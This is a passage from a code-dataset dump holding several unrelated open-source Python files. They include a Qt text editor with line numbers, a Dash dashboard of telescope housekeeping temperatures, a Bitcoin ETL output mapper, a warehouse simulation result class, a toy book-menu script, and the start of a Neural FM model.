cursor.movePosition(QTextCursor.EndOfBlock, QTextCursor.MoveAnchor)\n cursor.insertText('\\n' + txtline.text())\n else:\n txt = cursor.selectedText()\n\n cursor.clearSelection()\n cursor.insertText(txt)\n\n def moveLine(self, direction):\n\n cursor = self.textCursor()\n pos = cursor.position()\n \n lineFrom = self.document().findBlock(pos)\n\n startPos = lineFrom.position()\n endPos = startPos + len(lineFrom.text())\n\n if direction == 'down':\n if endPos+1 > len(self.document().toPlainText()):\n return\n lineTo = self.document().findBlock(endPos + 1)\n else:\n lineTo = self.document().findBlock(startPos - 1)\n\n cursor.beginEditBlock() #deal with unso/redo\n # select original line\n cursor.setPosition(startPos, QTextCursor.MoveAnchor)\n cursor.setPosition(endPos, QTextCursor.KeepAnchor)\n \n textMove = cursor.selectedText()\n \n # replace it by text from the new location\n cursor.insertText(lineTo.text())\n\n # now put moving text in place\n startPos = lineTo.position()\n endPos = startPos + len(lineTo.text())\n\n cursor.setPosition(startPos, QTextCursor.MoveAnchor)\n cursor.setPosition(endPos, QTextCursor.KeepAnchor)\n\n cursor.insertText(textMove)\n \n cursor.endEditBlock() #deal with unso/redo\n \n self.repaint()\n \n cursor.setPosition(startPos, QTextCursor.MoveAnchor)\n cursor.setPosition(startPos + len(textMove), QTextCursor.KeepAnchor)\n \n self.setTextCursor(cursor)\n\n def tabKey(self):\n \n cursor = self.textCursor()\n \n cursor.beginEditBlock() # deal with undo/redo\n \n txt = cursor.selectedText()\n \n stPos = cursor.selectionStart()\n endPos = cursor.selectionEnd()\n \n stLine = self.document().findBlock(stPos).blockNumber()\n endLineBlock = self.document().findBlock(endPos)\n endLine = endLineBlock.blockNumber()\n \n #check the selection end position\n if stLine != endLine and endLineBlock.position() < endPos:\n endLine += 1 # endLine points to the next line after the block we move\n \n if not cursor.hasSelection() or (stLine == endLine):\n cursor.removeSelectedText()\n cursor.insertText(' ')\n else:\n\n for i in range(stLine, endLine):\n #line = self.document().findBlockByLineNumber(i)\n line = self.document().findBlockByNumber(i)\n pos = line.position()\n\n #move selection start to start of the line\n if i == stLine:\n stPos = pos\n\n cursor.setPosition(pos, QTextCursor.MoveAnchor)\n cursor.insertText(' ')\n \n #calculate last line end position to update selection\n endPos = pos + len(line.text()) + 1\n \n cursor.clearSelection()\n cursor.setPosition(stPos, QTextCursor.MoveAnchor)\n cursor.setPosition(endPos, QTextCursor.KeepAnchor)\n \n self.setTextCursor(cursor)\n \n cursor.endEditBlock() \n \n def shiftTabKey(self):\n \n cursor = self.textCursor()\n \n cursor.beginEditBlock() # deal with undo/redo\n \n txt = cursor.selectedText()\n \n stPos = cursor.selectionStart()\n endPos = cursor.selectionEnd()\n \n stLine = self.document().findBlock(stPos).blockNumber()\n endLineBlock = self.document().findBlock(endPos)\n endLine = endLineBlock.blockNumber()\n \n #check the selection end position\n if endLineBlock.position() < endPos:\n endLine += 1 # endLine points to the next line after the block we move\n \n if not cursor.hasSelection() or (stLine == endLine):\n #cursor.removeSelectedText()\n \n #line = self.document().findBlockByLineNumber(stLine)\n line = self.document().findBlockByNumber(stLine)\n pos = line.position()\n cursor.setPosition(pos, QTextCursor.MoveAnchor)\n\n txt = line.text()[:4]\n \n if len(txt) > 0 and txt[0] == '\\t':\n cursor.deleteChar()\n else:\n l = min(len(txt), 4)\n for j in range(l):\n\n if txt[j] == ' ':\n cursor.deleteChar()\n else:\n break\n \n else:\n\n for i in range(stLine, endLine):\n\n #line = self.document().findBlockByLineNumber(i)\n line = self.document().findBlockByNumber(i)\n pos = line.position()\n cursor.setPosition(pos, QTextCursor.MoveAnchor)\n\n #move selection start to start of the line\n if i == stLine:\n stPos = pos\n\n txt = line.text()[:4]\n \n l = min(len(txt), 4)\n \n if len(txt) > 0 and txt[0] == '\\t':\n cursor.deleteChar()\n else:\n for j in range(l):\n if txt[j] == ' ':\n cursor.deleteChar()\n else:\n break\n \n #calculate last line end position to update selection\n\n if endLine < self.document().blockCount():\n endPos = pos + len(line.text()) + 1\n else:\n endPos = pos + len(line.text())\n \n cursor.clearSelection()\n cursor.setPosition(stPos, QTextCursor.MoveAnchor)\n \n cursor.setPosition(endPos, QTextCursor.KeepAnchor)\n \n self.setTextCursor(cursor)\n \n cursor.endEditBlock() \n \n def keyPressEvent (self, event):\n\n modifiers = QApplication.keyboardModifiers()\n \n if modifiers & Qt.ControlModifier and event.key() == Qt.Key_D:\n self.duplicateLine()\n \n elif modifiers & Qt.ControlModifier and event.key() == Qt.Key_Down:\n self.moveLine('down')\n\n elif modifiers & Qt.ControlModifier and event.key() == Qt.Key_Up:\n self.moveLine('up')\n\n elif event.key() == Qt.Key_Backtab and not (modifiers & Qt.ControlModifier):\n self.shiftTabKey()\n\n elif event.key() == Qt.Key_Tab and not (modifiers & Qt.ControlModifier):\n self.tabKey()\n \n elif modifiers & Qt.ControlModifier and modifiers & Qt.ShiftModifier and event.key() == Qt.Key_U:\n cursor = self.textCursor()\n \n txt = cursor.selectedText()\n \n cursor.insertText(txt.upper())\n \n elif modifiers == Qt.ControlModifier and event.key() == Qt.Key_U:\n cursor = self.textCursor()\n \n txt = cursor.selectedText()\n \n cursor.insertText(txt.lower())\n elif modifiers == Qt.AltModifier and Qt.Key_0 < event.key() <= Qt.Key_9:\n self.tabSwitchSignal.emit(event.key() - Qt.Key_1)\n else:\n super().keyPressEvent(event)\n\n class LineNumberArea(QWidget):\n def __init__(self, edit):\n\n #redraw lock\n self.locked = False\n \n super().__init__()\n \n\n self.lines = 0\n self.width = 0\n\n self.minWidth = 3\n\n self.setMinimumSize(QSize(100, 15))\n self.edit = edit\n\n self.font = self.edit.font()\n \n fontSize = cfg('console-fontSize', 10)\n \n self.font.setPointSize(fontSize)\n \n self.fm = QFontMetrics(self.font)\n \n self.fontHeight = self.fm.height()\n self.fontWidth = self.fm.width('0')\n \n self.adjustWidth(1)\n \n self.fromLine = None\n self.toLine = None\n\n def adjustWidth(self, lines):\n\n newWidth = len(str(lines))\n\n if newWidth < self.minWidth:\n self.width = self.minWidth\n else:\n self.width = newWidth\n \n self.baseWidth = self.width*self.fontWidth\n \n self.setFixedWidth(self.width*self.fontWidth)\n \n self.fromLine = None\n \n self.repaint()\n\n def paintEvent(self, QPaintEvent):\n \n if self.locked:\n return\n \n self.locked = True\n\n self.lines = self.edit.document().blockCount()\n\n qp = QPainter()\n super().paintEvent(QPaintEvent)\n qp.begin(self)\n \n s = self.size()\n h, w = s.height(), s.width()\n\n qp.setPen(QColor('#888'))\n \n #margin = 3\n \n #fln = self.edit.verticalScrollBar().value()\n \n qp.setFont(self.font)\n \n block = self.edit.firstVisibleBlock()\n i = block.blockNumber()\n\n\n if self.fromLine is not None:\n delta = self.fromLine - 1\n else:\n delta = 0\n\n \n while block.isValid():\n i += 1\n\n j = i - delta\n\n if j > 0:\n ln = str(j)\n else:\n ln = ''\n \n offset = self.baseWidth - self.fm.width(ln)\n y = int(self.edit.blockBoundingGeometry(block).translated(self.edit.contentOffset()).top())\n \n y += self.fontHeight - 1\n \n # check if on the screen yet\n if y >= QPaintEvent.rect().top():\n qp.drawText(offset, y, ln)\n \n # check if out of the screen already\n if y >= QPaintEvent.rect().bottom():\n break\n \n if self.fromLine is not None and i >= self.toLine:\n break\n \n block = block.next()\n \n qp.end()\n \n self.locked = False\n \n def __init__(self, parent=None):\n super().__init__(parent)\n \n #self.setFrameStyle(QFrame.StyledPanel | QFrame.Sunken)\n\n self.edit = self.PlainTextEdit(self)\n \n self.setFocusProxy(self.edit)\n \n self.lineNumbers = self.LineNumberArea(self.edit)\n\n hbox = QHBoxLayout(self)\n\n hbox.addWidget(self.lineNumbers)\n hbox.addWidget(self.edit)\n \n self.edit.blockCountChanged.connect(self.lineNumbers.adjustWidth)\n self.edit.updateRequest.connect(self.redrawLines)\n \n self.setTabStopDistance = self.edit.setTabStopDistance\n self.cursorPositionChanged = self.edit.cursorPositionChanged\n self.selectionChanged = self.edit.selectionChanged\n\n self.document = self.edit.document\n self.textChanged = self.edit.textChanged\n\n self.updateRequest = self.edit.updateRequest\n self.setPlainText = self.edit.setPlainText\n\n self.textCursor = self.edit.textCursor\n self.setTextCursor = self.edit.setTextCursor\n self.toPlainText = self.edit.toPlainText\n self.viewport = self.edit.viewport\n\n self.setFont = self.edit.setFont\n self.setStyleSheet = self.edit.setStyleSheet\n \n self.edit.contextMenuEvent = self.contextMenuEvent # not sure why this works but it does.\n \n self.edit.tabSwitchSignal.connect(self.tabSwitchSignal)\n \n #self.insertFromMimeData = self.edit.insertFromMimeData\n \n self.setFocus = self.edit.setFocus\n \n self.firstVisibleBlock = self.edit.firstVisibleBlock\n \n #self.keyPressEvent = self.edit.keyPressEvent\n \n self.rehighlightSig = self.edit.rehighlightSig\n\n # required for csvImport\n self.setLineWrapMode = self.edit.setLineWrapMode\n self.horizontalScrollBar = self.edit.horizontalScrollBar\n self.verticalScrollBar = self.edit.verticalScrollBar\n \n self.locked = False\n \n def redrawLines(self, rect, dy):\n if rect.width() < 20:\n return\n \n if self.locked: #prevent refresh on top of refresh\n return \n \n self.locked = True\n \n self.lineNumbers.repaint()\n \n self.locked = False\n\n def paintEventZZ(self, QPaintEvent):\n qp = QPainter()\n super().paintEvent(QPaintEvent)\n qp.begin(self)\n \n s = self.size()\n h, w = s.height(), s.width()\n\n \n #qp.setPen(QColor('#080'))\n #qp.drawRect(0, 0, w-2, h-2)\n \n qp.end()\n","repo_name":"rybafish/rybafish","sub_path":"QPlainTextEditLN.py","file_name":"QPlainTextEditLN.py","file_ext":"py","file_size_in_byte":15648,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"10931362544","text":"#! /usr/bin/env python\n\n\nfrom dasha.web.templates import ComponentTemplate\nimport dash_bootstrap_components as dbc\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom dash.dependencies import Input, Output\nfrom tollan.utils.log import get_logger\nfrom plotly.subplots import make_subplots as _make_subplots\nfrom tollan.utils import odict_from_list\nimport numpy as np\nfrom dasha.web.templates.collapsecontent import CollapseContent\nfrom tollan.utils.fmt import pformat_yaml\nimport cachetools.func\nimport functools\n# import dash_defer_js_import as dji\nfrom .. import fs_toltec_hk_rootpath\nimport astropy.units as u\nfrom tollan.utils.nc import NcNodeMapper\nfrom pathlib import Path\n\n\ndef make_subplots(nrows, ncols, fig_layout=None, **kwargs):\n _fig_layout = {\n 'uirevision': True,\n 'xaxis_autorange': True,\n 'yaxis_autorange': True,\n 'showlegend': True,\n }\n if fig_layout is not None:\n _fig_layout.update(fig_layout)\n fig = _make_subplots(nrows, ncols, **kwargs)\n fig.update_layout(**_fig_layout)\n return fig\n\n\ndef make_labeled_drp(form, label, **kwargs):\n igrp = form.child(dbc.InputGroup, size='sm', className='pr-2')\n igrp.child(dbc.InputGroupAddon(label, addon_type='prepend'))\n return igrp.child(dbc.Select, **kwargs)\n\n\nclass HkDataViewer(ComponentTemplate):\n _component_cls = dbc.Container\n\n fluid = True\n logger = get_logger()\n\n hkdata_spec = odict_from_list([\n {\n 'key': 'cryocmp',\n 'name_long': 'Compressor',\n 'filename_stem': 'cryocmp',\n },\n {\n 'key': 'dltfrg',\n 'name_long': 'Dilution Fridge',\n 'filename_stem': 'dilutionFridge',\n },\n {\n 'key': 'therm',\n 'name_long': 'Thermometry',\n 'filename_stem': 'thermetry',\n },\n ], key='key')\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def setup_layout(self, app):\n\n container = self\n header = container.child(dbc.Row)\n title_container = header.child(dbc.Col)\n title_container.child(html.H1, 'TolTEC Housekeeping Data')\n\n body = self.child(dbc.Row)\n for section_name, kwargs in [\n ('temp', dict(\n )),\n # ('pres', dict(\n # )),\n # ('stat', dict(\n # )),\n ]:\n getattr(self, f'_setup_section_{section_name}')(\n app, body.child(\n dbc.Col, className='mb-4',\n style={\n 'min-width': '375px'\n },\n **kwargs))\n super().setup_layout(app)\n\n def _setup_live_update_header(self, app, container, title, interval):\n header = container.child(dbc.Row, className='mb-2').child(\n dbc.Col, className='d-flex align-items-center')\n header.child(html.H3, title, className='mr-4 my-0')\n timer = header.child(dcc.Interval, interval=interval)\n loading = header.child(dcc.Loading)\n error = container.child(dbc.Row).child(dbc.Col)\n return timer, loading, error\n\n def _setup_section_temp(self, app, container):\n timer, loading, error = self._setup_live_update_header(\n app, container, 'Temperatures', 3000)\n body = container.child(dbc.Row).child(dbc.Col)\n details_container = body.child(\n CollapseContent(button_text='Details ...')).content\n\n controls_container, graph_container = container.child(\n dbc.Row).child(dbc.Col).grid(2, 1)\n\n controls_form = controls_container.child(dbc.Form, inline=True)\n\n datalen_drp = make_labeled_drp(\n controls_form, 'Show data of latest',\n options=[\n {\n 'label': f'{n}',\n 'value': n,\n }\n for n in ['15 min', '30 min', '1 hr', '12 hr', '1 d']],\n value='15 min',\n )\n\n def get_therm_channel_labels(nm):\n strlen = nm.getdim(\n 'Header.ToltecThermetry.ChanLabel_slen')\n return list(map(\n lambda x: x.decode().strip(), nm.getvar(\n 'Header.ToltecThermetry.ChanLabel')[:].view(\n f'S{strlen}').ravel()))\n\n def get_hkdata_filepath(hkdata_key):\n n = self.hkdata_spec[hkdata_key]['filename_stem']\n r = Path(fs_toltec_hk_rootpath).expanduser()\n for p in [\n r.joinpath(n).joinpath(f'{n}.nc'),\n r.joinpath(f'{n}.nc'),\n ]:\n if p.exists():\n return p\n else:\n return None\n\n @functools.lru_cache(maxsize=32)\n def _get_hkdata(filepath):\n return NcNodeMapper(source=filepath)\n\n @cachetools.func.ttl_cache(maxsize=1, ttl=1)\n def get_hkdata(hkdata_key):\n p = get_hkdata_filepath(hkdata_key)\n if p is None:\n return None\n nc = _get_hkdata(p.resolve().as_posix())\n nc.sync()\n return nc\n\n graph = graph_container.child(dcc.Graph)\n\n @app.callback(\n [\n Output(graph.id, 'figure'),\n Output(loading.id, 'children'),\n Output(error.id, 'children'),\n ],\n [\n Input(timer.id, 'n_intervals'),\n Input(datalen_drp.id, 'value'),\n ]\n )\n def update_graph(n_intervals, datalen_value):\n\n def make_data(key, datalen_value):\n nc = get_hkdata(key)\n if nc is None:\n return None\n # figure out sample rate\n time_var = {\n 'cryocmp': 'Data.ToltecCryocmp.Time',\n 'dltfrg': 'Data.ToltecDilutionFridge.SampleTime',\n 'therm': 'Data.ToltecThermetry.Time1',\n }[key]\n dt = nc.getvar(time_var)[-2:]\n if len(dt) == 2:\n dt = (np.diff(dt)[0]) << u.s\n else:\n dt = 5 << u.s\n fsmp = 1 / dt\n if np.isinf(fsmp):\n fsmp = 0.2 << u.Hz\n # calc the slice from datalen\n datalen_value, datalen_unit = datalen_value.split()\n datalen = datalen_value << u.Unit(datalen_unit)\n n_samples = int(\n (datalen * fsmp).to_value(u.dimensionless_unscaled))\n if n_samples < 1:\n n_samples = 1\n\n def F2K(t):\n return (t - 32.) * 5. / 9. + 273.15\n\n def C2K(t):\n return t + 273.15\n\n trans = {\n \"cryocmp\": lambda x, y: (x, F2K(y)),\n \"dltfrg\": lambda x, y: (x, C2K(y)),\n \"therm\": None,\n }[key]\n return {\n 'nc': nc,\n 'dt': dt,\n 'slice': slice(-n_samples, None),\n 'trans': trans\n }\n data = {k: make_data(k, datalen_value)\n for k in self.hkdata_spec.keys()}\n\n fig = make_subplots(1, 1)\n\n fig.update_xaxes(row=1, col=1, title=f'Time (UT)')\n fig.update_yaxes(\n row=1, col=1, title='Temperature (K)',\n )\n\n def make_trace_kwargs(d, x, y, name=None):\n if name is None:\n name = y.rsplit('.', 1)[-1]\n\n kwargs = {\n 'type': 'scattergl',\n 'mode': 'lines+markers',\n 'name': name\n }\n # read data\n nc = d['nc']\n slice_ = d['slice']\n x = nc.getvar(x)[slice_]\n y = nc.getvar(y)[slice_]\n trans = d['trans']\n if trans is not None:\n x, y = trans(x, y)\n # x is in time\n x = np.asarray(x, dtype='d')\n y = np.asarray(y, dtype='d')\n m = x > 0\n x = x[m]\n y = y[m]\n x = np.asarray(x, dtype='datetime64[s]')\n kwargs.update({\n 'x': x,\n 'y': y\n })\n return kwargs\n\n errors = []\n # add traces for all temp vars in cryocmp and dltfrg\n if data['cryocmp'] is not None:\n for dd in [\n {\n 'd': data['cryocmp'],\n 'x': 'Data.ToltecCryocmp.Time',\n 'y': y,\n }\n for y in [\n \"Data.ToltecCryocmp.CoolInTemp\",\n \"Data.ToltecCryocmp.CoolOutTemp\",\n \"Data.ToltecCryocmp.OilTemp\",\n \"Data.ToltecCryocmp.HeliumTemp\",\n ]\n ]:\n trace = make_trace_kwargs(**dd)\n fig.append_trace(trace, row=1, col=1)\n else:\n errors.append(\n dbc.Alert(\n 'cryocmp data not available', color='danger'))\n if data['dltfrg'] is not None:\n for dd in [\n {\n 'd': data['dltfrg'],\n 'x': 'Data.ToltecDilutionFridge.SampleTime',\n 'y': y,\n }\n for y in [\n \"Data.ToltecDilutionFridge.StsDevC1PtcSigWit\",\n \"Data.ToltecDilutionFridge.StsDevC1PtcSigWot\",\n \"Data.ToltecDilutionFridge.StsDevC1PtcSigOilt\",\n \"Data.ToltecDilutionFridge.StsDevC1PtcSigHt\",\n ]\n ]:\n trace = make_trace_kwargs(**dd)\n fig.append_trace(trace, row=1, col=1)\n else:\n errors.append(\n dbc.Alert(\n 'dltfrg data not available', color='danger'))\n\n if data['therm'] is not None:\n # get all therm labels\n for i, name in enumerate(\n get_therm_channel_labels(data['therm']['nc'])):\n trace = make_trace_kwargs(\n d=data['therm'],\n x=f\"Data.ToltecThermetry.Time{i + 1}\",\n y=f\"Data.ToltecThermetry.Temperature{i + 1}\",\n name=name\n )\n fig.append_trace(trace, row=1, col=1)\n else:\n errors.append(\n dbc.Alert(\n 'therm data not available', color='danger'))\n return fig, \"\", errors\n\n @app.callback(\n Output(details_container.id, 'children'),\n [\n Input(timer.id, 'n_intervals')\n ],\n )\n def update_details(n_intervals):\n ncs = [get_hkdata(key) for key in self.hkdata_spec.keys()]\n d = {\n 'ncs': ncs\n }\n return html.Pre(pformat_yaml(d))\n","repo_name":"toltec-astro/tolteca","sub_path":"tolteca/web/templates/hkview.py","file_name":"hkview.py","file_ext":"py","file_size_in_byte":11953,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"12148504313","text":"from typing import Any, List, Dict\n\nfrom bitcoinetl.btc_utils import bitcoin_to_satoshi\nfrom bitcoinetl.domain.transaction_output import BtcTransactionOutput\n\n\nclass BtcTransactionOutputMapper(object):\n def vout_to_outputs(self, vout: List[Dict]):\n outputs = []\n for item in vout or []:\n output = self.json_dict_to_output(item)\n outputs.append(output)\n return outputs\n\n def json_dict_to_output(self, json_dict: Dict[str, Any]):\n output = BtcTransactionOutput()\n\n output.index = json_dict.get(\"n\", 0)\n output.addresses = json_dict.get(\"addresses\")\n output.txinwitness = json_dict.get(\"txinwitness\")\n output.value = bitcoin_to_satoshi(json_dict.get(\"value\"))\n if \"scriptPubKey\" in json_dict:\n script_pub_key = json_dict.get(\"scriptPubKey\", dict())\n output.script_asm = script_pub_key.get(\"asm\")\n output.script_hex = script_pub_key.get(\"hex\")\n output.req_sigs = script_pub_key.get(\"reqSigs\")\n output.type = script_pub_key.get(\"type\")\n output.addresses = script_pub_key.get(\"addresses\")\n\n return output\n\n def outputs_to_dicts(self, outputs: List[BtcTransactionOutput]) -> List[Dict]:\n result = []\n for output in outputs:\n item = {\n \"index\": output.index,\n \"script_asm\": output.script_asm,\n \"script_hex\": output.script_hex,\n \"req_sigs\": output.req_sigs,\n \"type\": output.type,\n \"addresses\": output.addresses,\n \"txinwitness\": output.txinwitness,\n \"value\": output.value,\n }\n result.append(item)\n return result\n\n def dicts_to_outputs(self, json_dicts: List[Dict]) -> List[BtcTransactionOutput]:\n result = []\n for json_dict in json_dicts:\n output = BtcTransactionOutput()\n output.index = json_dict.get(\"index\", 0)\n output.script_asm = json_dict.get(\"script_asm\")\n output.script_hex = json_dict.get(\"script_hex\")\n output.req_sigs = json_dict.get(\"req_sigs\")\n output.type = json_dict.get(\"type\")\n output.addresses = json_dict.get(\"addresses\")\n output.txinwitness = json_dict.get(\"txinwitness\")\n output.value = json_dict.get(\"value\")\n\n result.append(output)\n return result\n","repo_name":"jsvisa/blockchain-etl","sub_path":"bitcoinetl/mappers/transaction_output_mapper.py","file_name":"transaction_output_mapper.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"33229953614","text":"\"\"\"Class representing the results of an evaluation.\"\"\"\nfrom dataclasses import dataclass, asdict\nfrom typing import List\n\nimport numpy as np\n\n\ndef maybe_mean(arr, indices=None):\n \"\"\"Calculates mean of arr[indices] if possible.\n\n indices should be a list. If it is None, the mean of the whole arr is taken.\n \"\"\"\n indices = (slice(len(arr))\n if arr is not None and indices is None else indices)\n return None if arr is None else np.mean(arr[indices], axis=0)\n\n\ndef maybe_median(arr, indices=None):\n \"\"\"Same as maybe_mean but with median.\"\"\"\n indices = (slice(len(arr))\n if arr is not None and indices is None else indices)\n return None if arr is None else np.median(arr[indices], axis=0)\n\n\ndef maybe_std(arr, indices=None):\n \"\"\"Same as maybe_mean but with std.\"\"\"\n indices = (slice(len(arr))\n if arr is not None and indices is None else indices)\n return None if arr is None else np.std(arr[indices], axis=0)\n\n\n@dataclass\nclass WarehouseMetadata:\n \"\"\"Metadata obtained by running warehouse envs n_evals times\"\"\"\n\n map_int_raw: np.ndarray = None # Generated raw map. Only shelf and floor\n map_int_unrepaired: np.ndarray = None # Generated layout in integer\n # (unrepaired)\n map_int: np.ndarray = None # Generated layout in integer (repaired)\n map_str: List[List[str]] = None\n objs: np.ndarray = None # Objectives\n\n throughput : List[float] = None # throughput of the simulation\n\n tile_usage: np.ndarray = None # (n_eval, n_row, n_col) 3D np array\n # tile_usage: List[List[float]] = None # (n_eval, n_tiles) 2D array\n tile_usage_mean: float = None\n tile_usage_std: float = None\n\n num_wait: List[List[float]] = None # (n_eval, n_timestep) 2D array\n num_wait_mean: float = None\n num_wait_std: float = None\n\n finished_task_len: List[List[float]] = None # (n_eval, n_finished_tasks)\n # 2D array\n finished_len_mean: float = None\n finished_len_std: float = None\n\n n_shelf: int = None\n n_endpoint: int = None\n\n all_task_len_mean: float = None # Average length of all possible\n # tasks in the map\n tasks_finished_timestep: List[np.ndarray] = None\n\n n_shelf_components: int = None # Number of connected shelf components\n\n\n@dataclass\nclass WarehouseResult: # pylint: disable = too-many-instance-attributes\n \"\"\"Represents `n` results from an objective function evaluation.\n\n `n` is typically the number of evals (n_evals).\n\n Different fields are filled based on the objective function.\n \"\"\"\n\n ## Raw data ##\n\n warehouse_metadata: dict = None\n\n ## Aggregate data ##\n\n agg_obj: float = None\n agg_measures: np.ndarray = None # (behavior_dim,) array\n\n ## Measures of spread ##\n\n std_obj: float = None\n std_measure: np.ndarray = None # (behavior_dim,) array\n\n ## Other data ##\n\n failed: bool = False\n log_message: str = None\n\n @staticmethod\n def from_raw(\n warehouse_metadata: WarehouseMetadata,\n opts: dict = None,\n ):\n \"\"\"Constructs a WarehouseResult from raw data.\n\n `opts` is a dict with several configuration options. It may be better as\n a gin parameter, but since WarehouseResult is created on workers, gin\n parameters are unavailable (unless we start loading gin on workers too).\n Options in `opts` are:\n\n `measure_names`: Names of the measures to return\n `aggregation` (default=\"mean\"): How each piece of data should be\n aggregated into single values. Options are:\n - \"mean\": Take the mean, e.g. mean measure\n - \"median\": Take the median, e.g. median measure (element-wise)\n \"\"\"\n # Handle config options.\n opts = opts or {}\n if \"measure_names\" not in opts:\n raise ValueError(\"opts should contain `measure_names`\")\n\n opts.setdefault(\"aggregation\", \"mean\")\n\n if opts[\"aggregation\"] == \"mean\":\n agg_obj = maybe_mean(warehouse_metadata.objs)\n elif opts[\"aggregation\"] == \"median\":\n agg_obj = maybe_median(warehouse_metadata.objs)\n else:\n raise ValueError(f\"Unknown aggregation {opts['aggregation']}\")\n\n agg_measures = WarehouseResult._obtain_measure_values(\n asdict(warehouse_metadata), opts[\"measure_names\"])\n\n return WarehouseResult(\n warehouse_metadata=asdict(warehouse_metadata),\n agg_obj=agg_obj,\n agg_measures=agg_measures,\n # std_obj=maybe_std(objs, std_indices),\n # std_measure=maybe_std(measures, std_indices),\n )\n\n @staticmethod\n def _obtain_measure_values(metadata, measure_names):\n measures = []\n for measure_name in measure_names:\n measure_val = metadata[measure_name]\n measures.append(measure_val)\n\n return np.array(measures)\n","repo_name":"lunjohnzhang/warehouse_env_gen_public","sub_path":"env_search/warehouse/warehouse_result.py","file_name":"warehouse_result.py","file_ext":"py","file_size_in_byte":4998,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"} +{"seq_id":"520067319","text":"def buku():\n \n masuk = input(\"Apakah Nda ingin masuk (Y/N) :\".lower())\n if masuk == \"y\":\n print(\"SELAMAT DATANG DI HALAMAN BUKU KAMI\".center(90))\n print(\"=============================================\".center(90))\n print(\"Silahkan Buka Halaman Buku Kami\")\n def masuk():\n halamanBuku = int(input(\"Masukkan halaman buku yang anda inginkan :\"))\n while True:\n if halamanBuku >= 1 and halamanBuku < 4:\n print(\"BAB 1\".center(90))\n print(\"SISTEM OPERASI\".center(90))\n for i in range(1,11):\n print(i,\".\",\" Materi....\")\n print(\"------------------------------\".center(90))\n kembali = input(\"Apakah anda ingin lanjutkan ? (Y/N) :\".lower())\n if kembali == \"y\":\n masuk()\n break\n else :\n break\n elif halamanBuku >= 4 and halamanBuku < 7 :\n print(\"BAB II\".center(90))\n print(\"FUNGSI FUNGSI SISTEM OPERSI\".center(90))\n for i in range(1,11):\n print(i,\".\",\" Materi....\")\n print(\"------------------------------\".center(90))\n kembali = input(\"Apakah anda ingin lanjutkan ? (Y/N) :\".lower())\n if kembali == \"y\":\n masuk()\n break\n else :\n break\n elif halamanBuku >= 7 and halamanBuku < 11:\n print(\"BAB III\".center(90))\n print(\"PERKEMBANGAN SISTEM OPERASI DARI MASA KE MASA\".center(90))\n for i in range(1,11):\n print(i,\".\",\" Materi....\")\n print(\"------------------------------\".center(90))\n kembali = input(\"Apakah anda ingin lanjutkan ? (Y/N) :\".lower())\n if kembali == \"y\":\n masuk()\n break\n else :\n break\n elif halamanBuku >= 11 and halamanBuku < 15:\n print(\"BAB IV\".center(90))\n print(\"KELEBIHAN SISTEM OPERASI\".center(90))\n for i in range(1,11):\n print(i,\".\",\" Materi....\")\n print(\"------------------------------\".center(90))\n kembali = input(\"Apakah anda ingin lanjutkan ? (Y/N) :\".lower())\n if kembali == \"y\":\n masuk()\n break\n else :\n break\n else:\n print(\"Halaman Tidak Di Temukan\".center(90))\n kembali = input(\"Apakah anda ingin lanjutkan ? (Y/N) :\".lower())\n if kembali == \"y\":\n masuk()\n break\n else :\n break\n masuk()\n elif masuk == \"n\":\n print(\"TERIMASIH TELAH MENGUNJUNGI BUKU KAMI\".center(90)) \nbuku()\n","repo_name":"Arifatwa/100_day_coding","sub_path":"day97.py","file_name":"day97.py","file_ext":"py","file_size_in_byte":3179,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22518978866","text":"\"\"\"\nImplementation of Neural Factorization Machines.\n\nPaper: Neural Factorization Machines for Sparse Predictive Analytics.\nIn Proceedings of SIGIR '17, Shinjuku, Tokyo, Japan, August 07-11, 2017.\n\nLink: http://www.comp.nus.edu.sg/~xiangnan/papers/sigir17-nfm.pdf\n\nAuthors: Xiangnan He and Tat-Seng Chua (2017)\n\"\"\"\n\nimport tensorflow as tf\nimport tensorflow.contrib.eager as tfe\n\nfrom deep4rec.models.model import Model\n\n\nclass NeuralFM(Model):\n def __init__(\n self,\n ds,\n num_units=64,\n layers=None,\n dropout_prob=None,\n apply_batchnorm=True,\n activation_fn=\"relu\",\n apply_dropout=True,\n l2_regularizer=0.0,\n ):\n super(NeuralFM, self).__init__()\n self._num_weights = ds.num_features_one_hot\n self._num_units = num_units\n self._num_features = ds.num_features\n\n if layers and dropout_prob and apply_dropout:\n assert len(layers) + 1 == len(dropout_prob)\n\n if layers is None:\n layers = [64]\n\n if dropout_prob is None:\n dropout_prob = [0.8, 0.5]\n\n self.dropout_prob = dropout_prob\n\n self.apply_batchnorm = apply_batchnorm\n self.apply_dropout = apply_dropout\n self.activation = activation_fn\n self.dense_layers = [\n tf.keras.layers.Dense(units, activation=self.activation) for units in layers\n ]\n self.final_dense_layer = tf.keras.layers.Dense(1)\n\n if self.apply_batchnorm:\n self.batch_norm_layer = tf.keras.layers.BatchNormalization()\n self.dense_batch_norm = [\n tf.keras.layers.BatchNormalization() for _ in layers\n ]\n\n if self.apply_dropout:\n self.fm_dropout = tf.keras.layers.Dropout(self.dropout_prob[-1])\n self.dense_dropout = [\n tf.keras.layers.Dropout(self.dropout_prob[i])\n for i in range(len(dropout_prob) - 1)\n ]\n\n self.w = tf.keras.layers.Embedding(\n self._num_weights,\n num_units,\n input_length=self._num_features,\n embeddings_initializer=tf.keras.initializers.RandomNormal(\n mean=0.0, stddev=0.01\n ),\n embeddings_regularizer=tf.keras.regularizers.l2(l2_regularizer),\n )\n self.w0 = tf.keras.layers.Embedding(\n self._num_weights,\n 1,\n input_length=self._num_features,\n embeddings_initializer=\"zeros\",\n )\n self.bias = tfe.Variable(tf.constant(0.0))\n\n def call(self, one_hot_features, training=False, features=None, **kwargs):\n \"\"\"\n Args:\n one_hot_features: A dense tensor of shape [batch_size, self._num_features]\n that indicates which features are present in this input.\n training: A boolean indicating if is training or not.\n features: A dense tensor of shape [batch_size, self._num_features] that indicates\n the value of each feature.\n Returns:\n Logits.\n \"\"\"\n # TODO: add support to other features.\n\n 